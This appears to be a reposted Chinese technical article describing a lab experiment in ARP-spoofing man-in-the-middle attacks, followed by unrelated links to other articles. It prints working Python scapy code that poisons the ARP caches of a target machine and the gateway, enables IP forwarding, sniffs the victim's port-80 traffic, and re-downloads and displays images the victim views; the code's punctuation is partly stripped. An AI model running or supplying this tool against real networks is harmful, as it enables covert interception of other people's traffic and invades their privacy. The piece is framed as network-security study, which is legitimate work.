当前位置: 首页 > article >正文

基于ARP欺骗的中间人攻击的Python实现

摘要本文在模拟网络攻击实验环境中使用Python的scapy模块构造ARP数据包发送给目标机进行ARP欺骗成功实施了中间人攻击然后嗅探局域网内部网络流量截取HTTP协议数据包进行解析初步实现了在被攻击者浏览网页点击图片时实时抓取这些点击的图片的ARP攻防系统功能之一后面可以进一步改进完善ARP攻防系统增加其他网络安全防护的功能。关键字scapyARP中间人攻击python引言在研究网络协议时发现TCP/IP协议栈中很多网络协议标准都有安全缺陷网络攻击比如网络扫描内网渗透流量欺骗等等都和ARP协议有关。本文为了进一步学习理解网络协议的原理过程首先搭建网络实验模拟环境利用Python的scapy模块构造ARP数据包发送给攻击目标机实施ARP欺骗模拟中间人攻击然后嗅探局域网内部网络流量截取HTTP协议数据包进行解析在被攻击者浏览网页点击图片时基本实现了实时抓取这些点击图片的系统功能目标。1系统实现的实验环境和编程开发工具本文实验环境包括一个路由器一台联网的64位Windows 7版本的计算机作为攻击机要对该计算机启用IP转发在注册表定位以下注册表项HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\ Services\Tcpip \Parameters 选择下面的项目IPEnableRouter请指定值为1。Python出于兼容性考虑安装是32位Python 3.7版本另外还有一台VMWARE虚拟机作为被攻击目标机操作系统是64位的Windows 7版本网络连接方式是Host Only。Python第三方库一定要选择开发环境操作系统Python版本相对应的库文件安装使用pip安装时,如果外国网站网速太慢可以访问国内的pipy源时,命令为: pip install 库名XXX.XX -i https://pypi.tuna.tsinghua.edu.cn/simple。下面是本文要用到的各种模块比如ScapyHTTP等所依赖的Python第三方库文件from scapy.all import *import netifacesimport requestsfrom PIL import Imagefrom io import BytesIO2 ARP欺骗和中间人攻击2.1 ARP欺骗原理ARP协议称为地址解析协议是工作在网络层的协议基本任务就是将IP地址转换为MAC地址物理地址。由于网络层IP数据报是根据IP地址确定传送目标而以局域网交换设备传送的是数据帧它们是依靠48位以太网地址MAC地址确定传送目标以太网数据帧的并不能识别32位的IP地址所以在局域网内部的机器要和其他机器进行通信首先就要获取对方的物理地址这就需要ARP协议来实现IP地址转换为物理地址这种对应关系。ARP数据包的详细信息列表如下[1]:图 2-1 ARP数据报文格式ARP协议是一个不安全的协议只要你发送ARP数据包就能修改目标的MAC缓存表基于这种不安全性便能实现ARP欺骗。ARP的攻击原理攻击者冒充网关的身份MAC地址被攻击者发给网关的流量会全部经过攻击者机攻击者冒充被攻击者的身份MAC地址卖家发给被攻击者的流量也会经过攻击者机的手上。被攻击者无法与网关联系导致流量无法到达被攻击者机上而攻击者却能拿到网段所有流量。图 2-2ARP欺骗的攻击示意图2.2 ARP欺骗和中间人攻击的实现使用Python编写ARP欺骗工具思路不断发送修改对方MAC缓存表的ARP数据包[2]。欺骗目标机以太网报头:本机MAC•目标机MAC数据ARP数据包:目标机MAC•目标机IP•操作类型请求或回复都行•本机MAC•网关IP欺骗路由器以太网报头:网关MAC•本机MAC数据ARP数据包:网关MAC•网关IP•操作类型请求或回复都行•本机MAC•目标机IP在scapy模块中ARP是构建ARP数据包的类Ether用来构建以太网数据包构造ARP数据包并加上以太网报头实现ARP欺骗[3]。def ARPspoof(srcMAC,srcIP,dstMAC,dstIP):try:ethEther() #构造以太网数据帧ARPARP( #构造ARP数据帧opis-at, #ARP数据包类型1表示请求2表示回应hwsrcsrcMAC, #源地址网卡地址psrcsrcIP, #源地址IP地址hwdstdstMAC, #目标地址网卡地址pdstdstIP #目标地址IP地址)sendp(eth/ARP,inter2,verbose0) #在第二层发送构造的以太网ARP数据包except Exception as g:print([-]{}.format(g))def getMAC(tgtIP):#调用scapy的getMACbyIP函数获取目标IP的MAC地址。try:tgtMAC getMACbyIP(tgtIP)return tgtMACexcept:print([-]请检查目标IP是否存活)抓取图片的程序实现浏览网页中的图片一般都是向服务器发送一次请求图片的HTTP请求所以我们只需从经过网卡的流量中过滤出TCP协议80端口的HTTP协议数据包将数据包的头部层层去掉最后能得到应用层的HTTP数据包再利用正则表达式将http://*.jpg筛选出来即可知道用户到底点击请求了哪些图[4]。下面是截取到的HTTP协议数据包片段GET /images/cn/sjztj/2020/03/27/20200326163723ABC0A947294EEE1ACAC2849ADB80F3B3_s.jpg HTTP/1.1Host: i.weather.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: image/webp,*/*Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2Accept-Encoding: gzIP, deflateConnection: keep-alive下面是抓取图片的Python程序实现代码urllist[] #存放已经访问过的URL防止重复访问图片def getimg(packets): # 实现抓取图片功能global urllistrefererurl #图片的网络资源定位符for pkt in packets: #对截取到的网络流数据包进行解析for p in pkt.payload.payload.payload.fields_desc:pvalue pkt.payload.payload.getfieldval(p.name)reprval p.i2repr(pkt.payload.payload, pvalue)# 转换成十进制字符串#将筛选出图片的http请求的正则表达式pare.compile(rGET .*?\.jpg|GET .*?\.png|GET .*?\.gif) lre.findall(pa,reprval)if len(l)! 0:fstr(l[0])fnamef.lstrIP(GET )# GET后面有一个空格print(fname) #取得图片的文件名linesstr(reprval).split(r\r\n)print(lines)for line in lines:if Host: in line:#取得图片的完整的URL地址urlhttp://line.split(:)[-1].strIP()fnameif url not in urllist: #防止重复访问图片urllist.append(url)if Referer: in line:refererline.split(:)[-1].strIP()if len(url)!0:#通过URL访问网页中的图片 rrequests.get(url,headers{Referer:referer})imgImage.open(BytesIO(r.content))img.show()#windows环境下显示图片else: #防止重复访问图片pass系统功能的主程序代码实现本文的模拟网络攻击环境路由器网关gateway:192.168.1.1受害者机器target192.168.1.15 本地机器local192.168.1.9。下面的系统功能的主程序代码if __name__ __main__: # targetIP 192.168.1.15 被攻击者的IP地址targetIPinput(请输入攻击目标 IP:)targetMACgetMAC(targetIP)# 被攻击者的MAC地址gatewayIP netifaces.gateways()[default][netifaces.AF_INET][0]# 网关IP地址gatewayMACgetMAC(gatewayIP)# 网关的MAC地址routingNicName netifaces.gateways()[default][netifaces.AF_INET][1]for interface in netifaces.interfaces():if interface routingNicName:#获取本地攻击机的IP地址localIP netifaces.ifaddresses(interface)[netifaces.AF_INET][0][addr]#获取本地机器的MAC地址localMAC netifaces.ifaddresses(interface)[netifaces.AF_LINK][0][addr]print(ARP欺骗攻击前) #显示相关IP地址MAC地址print(网关IP:%s----网关MAC:%s%(gatewayIP,gatewayMAC))print(本地主机IP:%s----本地主机MAC:%s%(localIP,localMAC))print(攻击目标IP:%s----攻击目标MAC:%s%(targetIP,targetMAC))ARPspoof(localMAC,gatewayIP,targetMAC,targetIP) # 欺骗目标机ARPspoof(localMAC,targetIP,gatewayMAC,gatewayIP) #欺骗路由器网关#从经过本地攻击机网卡的流量中过滤tcp80端口的http协议数据包实现抓取图片功能while True:sniff(count 1,filtertcp port 80 and IP host targetIP,prngetimg)2.5 系统欺骗攻击和抓图的功能运行效果ARP欺骗攻击之后从图2-3可以看出路由器网关gateway:192.168.1.1 MAC地址变成和本地攻击机local192.168.1.9的MAC地址一模一样本地攻击机欺骗被攻击机冒充自己是网关成功。图 2-3 实施ARP欺骗攻击的效果图本地机192.168.1.9 实施ARP欺骗攻击之后在被攻击机192.168.1.15上打开网页点击图片在本地机上运行的抓图效果如图2-4可以看到被攻击机发往网关的HTTP协议报被本地攻击机截取相关图片的HTTP请求被解析而后在本地机打开相对应的图片基本实现了抓取第三方屏幕网页图片的功能。图 2-4ARP攻击后实施抓图的效果图结语本文使用Python初步实现了ARP攻击和抓取第三方机器屏幕的效果由于实验环境和程序代码编写的限制系统性能还需要进一步优化以解决能够快速高效抓取和解析网络流量数据包这个系统运行效率问题还有很多功能有待完成。通过这次实验作者对ARP欺骗攻击有了更深的理解后面继续改进完善系统增添更多的网络渗透安全防护功能。参考文献[1] 安徽锋刃科技. 编写Python渗透测试工具之ARP欺骗工具 2019-02-21 [EB/OL] https://blog.csdn.net/xuandao_ahfengren/article/details/87861038[2] 青衫无名. Python写ARP局域网主机存活扫描与ARP欺骗工具 2018-03-15[EB/OL]https://developer.aliyun.com/article/541991[3]傅彬.Python安全编程项目实训教程[M]北京电子工业出版社, 2019[4] LlawLiet. arp协议分析python编程实现arp欺骗 2018-01-23 [EB/OL]https://www.freebuf.com/articles/web/160511.html

相关文章:

基于ARP欺骗的中间人攻击的Python实现

摘要:本文在模拟网络攻击实验环境中,使用Python的scapy模块构造ARP数据包发送给目标机进行ARP欺骗,成功实施了中间人攻击,然后嗅探局域网内部网络流量,截取HTTP协议数据包进行解析,初步实现了在被攻击者浏览…...

Python face_recognition 库实战:从环境搭建到人脸特征点检测

1. 环境准备:搭建人脸识别的开发环境 第一次接触人脸识别开发时,最让人头疼的就是环境配置。记得我刚开始用face_recognition库时,光是安装依赖就折腾了大半天。后来才发现,其实只要掌握几个关键步骤,整个过程可以非常…...

审核员能力模型——冰山模型说人话版

📋 审核概论系列 第9篇/共10篇知识和技能不等于能力。认证审核员到底需要什么能力?麦克利兰冰山模型告诉你📊 真实场景:CCAA注册审核员考试通过率大约只有30%-40%。很多人专业知识学了不少,ISO 9001标准背得滚瓜烂熟&…...

Ajax技术和Axois工具库

前端如何才能动态展示数据?如何动态获取后端的数据呢? 目录 文章目录 一、什么是Ajax? 二、什么是Axios? 核心用途 三、如何在Vue项目中使用Axios? 1、安装Axios 2、引入Axios 3、基础使用 4、拦截器 5、async/await是什么? 总…...

Zotero Duplicates Merger终极指南:3分钟彻底告别文献库重复烦恼

Zotero Duplicates Merger终极指南:3分钟彻底告别文献库重复烦恼 【免费下载链接】ZoteroDuplicatesMerger A zotero plugin to automatically merge duplicate items 项目地址: https://gitcode.com/gh_mirrors/zo/ZoteroDuplicatesMerger 还在为Zotero文献…...

清华PPT模板终极指南:告别PPT设计烦恼,轻松制作专业演示

清华PPT模板终极指南:告别PPT设计烦恼,轻松制作专业演示 【免费下载链接】THU-PPT-Theme 清华主题PPT模板 项目地址: https://gitcode.com/gh_mirrors/th/THU-PPT-Theme 还在为学术答辩、项目汇报的PPT设计而头疼吗?每次打开PowerPoin…...

League Akari:3步打造你的英雄联盟智能游戏助手,告别繁琐操作

League Akari:3步打造你的英雄联盟智能游戏助手,告别繁琐操作 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit League A…...

基于SSM框架的童装购买平台微信小程序(30286)

有需要的同学,源代码和配套文档领取,加文章最下方的名片哦 一、项目演示 项目演示视频 二、资料介绍 完整源代码(前后端源代码SQL脚本)配套文档(LWPPT开题报告/任务书)远程调试控屏包运行一键启动项目&…...

从图文对到通用视觉:CLIP如何用对比学习重塑多模态预训练范式

1. 从图文匹配到通用视觉:CLIP的颠覆性思路 第一次看到CLIP模型时,我正为一个老问题头疼:训练好的图像分类器遇到新类别就直接"罢工"。比如用猫狗数据集训练的模型,突然给它看一只考拉,结果只会输出"猫…...

青岛银行员工才艺大赛|iPad评委打分系统案例

在青岛银行首届员工才艺大赛现场,熹乐互动的iPad评委打分系统为这场精彩赛事注入了高效、透明的科技体验。评委们只需通过iPad端操作,即可快速为节目打分,系统实时同步数据至大屏,自动完成分数统计、加权计算与排名更新。无需人工…...

Zutilo:为Zotero研究者量身打造的高效文献管理增强插件

Zutilo:为Zotero研究者量身打造的高效文献管理增强插件 【免费下载链接】Zutilo Zotero plugin providing some additional editing features 项目地址: https://gitcode.com/gh_mirrors/zu/Zutilo 作为一名Zotero用户,你是否曾为批量管理标签而烦…...

从仿真到调试:FSDB与VPD波形文件的生成与高效查看指南

1. 数字IC验证中的波形文件:为什么它们如此重要? 在数字IC验证的世界里,波形文件就像是工程师的"显微镜"。想象一下,你正在调试一个复杂的RTL设计,代码运行了,但结果不对。这时候,如果…...

2026十大建议考的经济学专业证书有哪些

2026年十大经济学专业证书推荐经济学专业证书能够提升职业竞争力,尤其在数据分析、金融和经济预测领域。以下是2026年值得考取的十大经济学专业证书,包括CDA数据分析师证书等热门选择。1. CDA数据分析师证书CDA数据分析师证书是数据分析领域的权威认证&a…...

带fp8激活量化的RMSNorm算子手撕

rms_norm_fp8_noweight_fp16:计算流程与优化 完整代码 void rms_norm_fp8_noweight_fp16(const __half *x, __nv_fp8_e4m3 *out,int seq_len, int dim, const float *d_scale,cudaStream_t stream) {rms_norm_fp8_noweight_kernel<<<seq_len, 256, 0, stream>&g…...

我的第一个CNN项目翻车实录:从过拟合到数据清洗,TensorFlow 2.1猫狗分类避坑指南

我的第一个CNN项目翻车实录&#xff1a;从过拟合到数据清洗&#xff0c;TensorFlow 2.1猫狗分类避坑指南 第一次接触深度学习时&#xff0c;我天真地以为只要按照教程搭建一个卷积神经网络(CNN)&#xff0c;就能轻松实现猫狗图片分类。然而现实给了我一记响亮的耳光——模型要么…...

ExplorerPatcher架构解析:深度剖析Windows界面定制引擎

ExplorerPatcher架构解析&#xff1a;深度剖析Windows界面定制引擎 【免费下载链接】ExplorerPatcher This project aims to enhance the working environment on Windows 项目地址: https://gitcode.com/GitHub_Trending/ex/ExplorerPatcher ExplorerPatcher作为Window…...

【机器学习】集成学习(Boosting)——XGBoost算法(原理+推导+实战)

1. XGBoost为什么能成为竞赛冠军的标配&#xff1f; 第一次参加Kaggle比赛时&#xff0c;我完全被排行榜惊呆了——前50名的解决方案清一色都在用XGBoost。当时很不理解&#xff1a;明明有更"高级"的神经网络&#xff0c;为什么大家偏爱这个看似传统的算法&#xff1…...

八大网盘直链获取开源工具全面指南:如何高效管理你的云端文件下载

八大网盘直链获取开源工具全面指南&#xff1a;如何高效管理你的云端文件下载 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动…...

从零上手泰凌微TLSR8269:SIG Mesh SDK文件架构与编译环境搭建保姆级指南

泰凌微TLSR8269 SIG Mesh开发实战&#xff1a;从SDK解析到环境搭建全攻略 第一次打开泰凌微TLSR8269的SIG Mesh SDK时&#xff0c;面对密密麻麻的文件夹和文件&#xff0c;不少开发者都会感到无从下手。proj、proj_lib、vendor这些目录到底存放着什么&#xff1f;如何快速搭建起…...

终极风扇控制指南:如何用开源工具FanControl精准调节你的电脑散热系统

终极风扇控制指南&#xff1a;如何用开源工具FanControl精准调节你的电脑散热系统 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/Git…...

手把手教你用CH342 USB转串口模块在Ubuntu 22.04上调试(附dmesg日志分析)

手把手教你用CH342 USB转串口模块在Ubuntu 22.04上调试&#xff08;附dmesg日志分析&#xff09; 嵌入式开发中&#xff0c;串口调试是最基础却最容易出问题的环节。当你在Ubuntu 22.04上插入CH342模块准备调试ESP32开发板时&#xff0c;是否遇到过设备无法识别、权限拒绝或者波…...

2026年简易操作安装Hermes Agent/OpenClaw Token Plan全流程解析大全

2026年简易操作安装Hermes Agent/OpenClaw Token Plan全流程解析大全。OpenClaw作为阿里云生态下新一代的开源AI自动化代理平台&#xff0c;曾用名Moltbot/Clawdbot&#xff0c;凭借“自然语言交互自动化任务执行大模型智能决策”的核心能力&#xff0c;正在重构个人与企业的工…...

Fooocus:5分钟快速上手的AI图像生成完整指南,免费离线使用

Fooocus&#xff1a;5分钟快速上手的AI图像生成完整指南&#xff0c;免费离线使用 【免费下载链接】Fooocus Focus on prompting and generating 项目地址: https://gitcode.com/GitHub_Trending/fo/Fooocus 在AI图像生成技术快速发展的今天&#xff0c;Fooocus作为一款…...

2026年小白适用Hermes Agent/OpenClaw Token Plan集成全攻略大全

2026年小白适用Hermes Agent/OpenClaw Token Plan集成全攻略大全。OpenClaw作为阿里云生态下新一代的开源AI自动化代理平台&#xff0c;曾用名Moltbot/Clawdbot&#xff0c;凭借“自然语言交互自动化任务执行大模型智能决策”的核心能力&#xff0c;正在重构个人与企业的工作效…...

AI大模型选型生死线(2026企业采购决策白皮书):API延迟、幻觉率、合规审计通过率三维淘汰制解析

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;AI大模型选型生死线&#xff1a;2026企业采购决策范式重构 当算力成本下降47%、推理延迟压缩至83ms、私有化微调周期缩短至4.2小时&#xff0c;企业不再比拼“谁用了大模型”&#xff0c;而是在验证“谁…...

解码Voron 2.4:开源高速CoreXY 3D打印机的架构哲学与工程实践

解码Voron 2.4&#xff1a;开源高速CoreXY 3D打印机的架构哲学与工程实践 【免费下载链接】Voron-2 Voron 2 CoreXY 3D Printer design 项目地址: https://gitcode.com/gh_mirrors/vo/Voron-2 Voron 2.4作为开源3D打印机领域的标杆产品&#xff0c;代表了CoreXY架构在高…...

【NotebookLM音频黑科技深度解析】:20年AI产品经理亲测的5大颠覆性功能与3个未公开技巧

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;NotebookLM Audio Overview NotebookLM Audio 是 Google 推出的实验性语音增强功能&#xff0c;深度集成于 NotebookLM 平台&#xff0c;旨在将用户上传的 PDF、网页文本等资料转化为可交互的语音知识体…...

从模型训练到推理服务全链路编排,SITS 2026定义的K8s for ML新标准:为什么92%的MLOps团队将在Q3前强制升级?

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;AI原生Kubernetes编排&#xff1a;SITS 2026 K8s for ML工作负载 SITS 2026 引入了专为机器学习工作负载深度优化的 AI 原生 Kubernetes 控制平面&#xff0c;其核心在于将训练任务生命周期、弹性资源调…...

【高通SDM660平台】Camera 驱动 Bringup 实战:从 DTS 配置到 Vendor 模块集成

1. 高通SDM660平台Camera驱动Bringup概述 当你拿到一块基于高通SDM660平台的新硬件时&#xff0c;Camera驱动的Bringup工作可能会让你感到有些头疼。作为一个在这个领域摸爬滚打多年的工程师&#xff0c;我想分享一些实战经验&#xff0c;帮助你快速点亮Camera功能并完成基础调…...

CTFd平台集成MCP协议:AI助手赋能CTF赛事智能运维实践

1. 项目概述&#xff1a;CTFd与MCP的融合实践最近在安全圈和CTF&#xff08;Capture The Flag&#xff0c;夺旗赛&#xff09;赛事运维圈子里&#xff0c;一个名为AaryaBhusal/ctfd-mcp的项目引起了我的注意。乍一看&#xff0c;这像是一个针对CTFd平台的插件或扩展&#xff0c…...